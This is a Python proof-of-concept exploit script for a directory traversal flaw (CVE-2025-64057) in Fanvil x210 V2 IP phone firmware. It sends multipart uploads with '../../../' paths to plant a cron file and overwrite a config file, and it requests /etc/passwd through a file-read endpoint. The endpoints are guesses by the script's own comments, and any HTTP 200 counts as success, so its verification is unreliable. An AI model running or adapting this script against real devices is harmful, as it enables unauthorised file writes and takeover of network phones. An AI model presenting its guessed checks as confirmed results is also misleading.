CVE-2025-64057 Fanvil x210 V2 目录遍历漏洞

# CVE-2025-64057 PoC - Fanvil x210 V2 Directory Traversal # Affected Version: Fanvil x210 V2 Firmware <= 2.12.20 # CVSS: 3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H (8.3 HIGH) import requests import sys # Target configuration TARGET_IP = "192.168.1.100" # Replace with target device IP TARGET_PORT = 80 TARGET_PATH = "/cgi-bin/cgiFileUpload" # Possible endpoint, adjust based on actual testing def exploit_directory_traversal(): """ Exploit directory traversal vulnerability to write file to arbitrary location """ # Malicious payload with directory traversal sequence traversal_path = "../../../etc/cron.d/malicious_script" # Construct the malicious file content malicious_content = "#!/bin/sh\n# Malicious cron job injected via CVE-2025-64057\n" # Prepare the multipart form data files = { 'file': (traversal_path, malicious_content, 'application/octet-stream'), 'path': (None, '../../../etc/cron.d/', 'text/plain') } # Alternative PoC: Direct file write via configuration import alt_payload = { 'config_file': ( '../../../web/cfg/system.conf', 'malicious_config_data', 'application/octet-stream' ) } print(f"[*] Target: {TARGET_IP}:{TARGET_PORT}") print(f"[*] Exploiting CVE-2025-64057: Directory Traversal in Fanvil x210 V2") try: # Attempt 1: File upload endpoint url1 = f"http://{TARGET_IP}:{TARGET_PORT}{TARGET_PATH}" print(f"[*] Sending payload to: {url1}") response1 = requests.post(url1, files=files, timeout=10) if response1.status_code == 200: print("[+] File write successful - directory traversal confirmed!") return True # Attempt 2: Configuration import url2 = f"http://{TARGET_IP}:{TARGET_PORT}/cgi-bin/config_import" print(f"[*] Trying alternative endpoint: {url2}") response2 = requests.post(url2, files=alt_payload, timeout=10) if response2.status_code == 200: print("[+] Alternative exploit successful!") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False print("[-] Exploit failed - target may not be vulnerable or endpoint differs") return False def verify_vulnerability(): """ Verify if target is vulnerable by reading known file via traversal """ # Read /etc/passwd to verify traversal works read_url = f"http://{TARGET_IP}:{TARGET_PORT}/cgi-bin/cgiFileRead?file=../../../etc/passwd" try: response = requests.get(read_url, timeout=10) if 'root:' in response.text or response.status_code == 200: print("[+] Target is VULNERABLE - directory traversal confirmed") return True except: pass print("[-] Could not verify vulnerability via file read") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-64057 PoC - Fanvil x210 V2 Directory Traversal") print("=" * 60) if len(sys.argv) > 1: TARGET_IP = sys.argv[1] # First verify, then exploit verify_vulnerability() exploit_directory_traversal()